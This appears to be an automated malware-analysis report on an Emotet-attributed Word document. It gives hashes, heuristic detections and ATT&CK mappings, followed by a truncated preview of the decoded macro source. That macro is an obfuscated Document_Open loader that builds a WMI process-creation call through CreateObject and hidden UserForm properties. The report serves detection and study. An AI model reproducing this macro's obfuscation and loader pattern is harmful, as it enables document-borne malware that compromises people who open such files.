Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 df673d4d92815517…

MALICIOUS

Office (OLE)

238.6 KB Created: 2020-08-20 07:53:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: f51fc669c9c383433572389da24502fd SHA-1: 25f8f93d08a6d208722380824cc4aef53b798c46 SHA-256: df673d4d9281551708cb7a82079201fa3f216aba83b1ca2718b1ad1ccdb884a7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection name 'Doc.Downloader.Emotet-9416473-0' further supports this family attribution. The macro's obfuscated nature and use of CreateObject suggest it is designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9416473-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9416473-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11090 bytes
SHA-256: cd7a31074a5227224e0e05ae7e16c25771879c9749eb4d01f719e624a83e9b40
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Qj4aw31d85_"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
H8gcqjccwufh0wa6lo.Cikpktm5dye7bq3qcp
End Sub


Attribute VB_Name = "H8gcqjccwufh0wa6lo"
Attribute VB_Base = "0{D9CE9738-4EDB-4D95-B8BB-3E5B5A38D346}{51C68F08-D576-491F-9EC7-E1268974A9C9}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Cikpktm5dye7bq3qcp()
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Ogkx9w43m2ri2c5s = H8gcqjccwufh0wa6lo.HelpContextId + 50 + 50
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Qabfb27du4hre9 = ChrW(Ogkx9w43m2ri2c5s + (15))
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Dpxu81xy9xccul = "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]i12bb$ hs1g 2[gg222sh 7219681]nm12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]gm12bb$ hs1g 2[gg222sh 7219681]t12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]" + Qabfb27du4hre9 + "12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]:12bb$ hs1g 2[gg222sh 7219681]w12bb$ hs1g 2[gg222sh 7219681]in12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]312bb$ hs1g 2[gg222sh 7219681]212bb$ hs1g 2[gg222sh 7219681]_12bb$ hs1g 2[gg222sh 7219681]" + H8gcqjccwufh0wa6lo.O6_1ooy2cn25 + "12bb$ hs1g 2[gg222sh 7219681]ro12bb$ hs1g 2[gg222sh 7219681]12bb$ hs1g 2[gg222sh 7219681]ce12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]s12bb$ hs1g 2[gg222sh 7219681]"
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Due79uap805zp = C4168yxgkk7wwz5is(Dpxu81xy9xccul)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Set Vuwc_hwvzj6l32hv3 = CreateObject(Due79uap805zp)
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBox ("nyjICAeTGs41")
End If
If Len("lFwSfOiwJc4372") = Len("iwlYyMBCeT") Then
       MsgBox ("Error !!!")
End If
If 375299 = 156678 + 1 Then End
If 4256 < 17 Then
        MsgBox ("vnXcfRRucR32")
End If
If Len("mSthwIxyQM8754") = Len("YSJerxHkCV") Then
       MsgBox ("Error !!!")
End If

Rtckyubvy2xx_q = H8gcqjccwufh0wa6lo.Ro7sy8f7ten.ControlTipText
   If 133877 = 513816 + 1 Then End
If 9812 < 65 Then
        MsgBo
... (truncated)